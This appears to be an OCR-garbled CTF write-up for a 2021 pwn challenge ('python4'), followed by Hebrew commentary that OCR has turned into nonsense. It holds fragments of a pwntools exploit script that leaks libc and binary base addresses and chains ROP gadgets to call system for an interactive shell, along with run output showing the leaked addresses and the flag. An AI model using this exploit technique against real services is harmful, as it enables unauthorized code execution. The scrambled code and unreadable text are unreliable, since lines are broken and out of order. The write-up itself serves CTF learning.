while no leak:

p = get process()
1, payload = gen libc leak payload(25)
p.sendline ('"\n'.join([str(l), payload,
p.recvuntil (
leak = p.recvuntil('"")[:-1].1just (8, '\x00")
if len(leak) > 8:

print i, + hexlify(leak)
else:

libc base = u64(leak) - LIBC LEAK OFFSET

if (libc base & OxFFF == 0) and (libc base

0x7F0000000000) =
no leak = False

if no leak:

p.close ()
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})

{

& OxFF0000000000 ==
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return libc base

def
payload =

'load 1
'print
'ret']
return len (payload), '\n'.join (payload)

BINARY LEAK OFFSET = 0x555555557a45 - 0x555555554000
def () :
global p

1, payload = gen binary leak payload()
p.sendline('\n'.join([str(l), payload, 'v'])
p.recvuntil ( )
leak = int(p.recvuntil('\n'")[:-1], 16)
assert leak & 0xad5 == 0xad5,

return leak - BINARY LEAK OFFSET

+ hex (leak)

rsp val, pop rdi ret, rdi, system):

payload

rip,

pop_rdi ret,
rdi,

system,

u64d (
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"DDDDDDDDDDDDDDDD
p64 (rsp val) [:6],

return len (payload),

p = None

SYSTEM OFFSET = 0x55410
INTERPRETER REGS OFFSET
POP_RDI RET = 0x4333
POP RSP POP POP POP RET

() :
global p

libc base =
log.success (
binary base =
log.success (

1, payload =

p.sendline ('
p.interactive ()

if name
main ()

\n'.join ([str(l),

Technologic

'"\n'.join (payload)

0x9290

0x432d

leak libc base()

+ hex (libc base))

leak binary base ()

+ hex (binary base))

gen rip payload (
binary base +
binary base
binary base
binary base
libc base

POP_RSP_POP POP POP RET,
INTERPRETER REGS OFFSET + 8,
POP_RDI RET,
INTERPRETER REGS OFFSET + 8 * 9,
SYSTEM OFFSET)

4L
4e
4L
4e

payload, 'n']))
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RXINNI

'/root/Desktop/CTFS/2021/shabak/pwn/python4/python4/python4
Arch: amd64-64-1little
RELRO: Partial RELRO
Stack:
NX:
PIE:
'/lib/x86 64-linux-gnu/libc.so0.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack:
NX:
PIE:
[+] Opening connection to localhost on port 9023:
[+] Libc Base: 0x7fc85c7bf000
[+] Bin Base: 0x55c324576000
[*] Switching to interactive mode
Another script? (y/N) Enter number of lines:
Running script...
ariable: 'i', value: 0x0
flag{Mitigations are attack surface too!}
[*] Got EOF while reading in interactive

flag{Mitigations_are_attack_surface_too!}
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.D"TINYE DA 'Y NIN 7Y 20 YAXN DN YpYIng 1011, TINA NN N2 1D NIYND DNANKRD
N7X ," X127 Reversing 7V AT TaTaNN X7W D ,pwn-n NANKA 1IN TIZ 172'PY 'MANKR N'D'Y90

JNIR WMwn71i NIY7INN DR RI¥N7 ¥ 1710 pt an

-1 DN 7W qna AN ANR ATY L(NFC) Blackbox 21'0127 ManX 01907 1NN MANN DA

Miypn I7I|7IL‘)I'\9 7w N1an1 D0 MIN 7Y VN YA, NNTIN NNIVRLVDX v D'-image

nN7'Np WD % 22N 0T, pwn NANK 7V WAT 'R DQN2 - DY7RW Dctf Andl nnd Ino7 1 Ry

.NTN 210NN DNANK MINSY 0'7210N1 DNV D'WIR 7w nnYhw

ITnya pwn TIV AaXYI ,NNAITD >"awn Y DManKn NX NP DTNV DNI'NNN N2AAXNY allpn X
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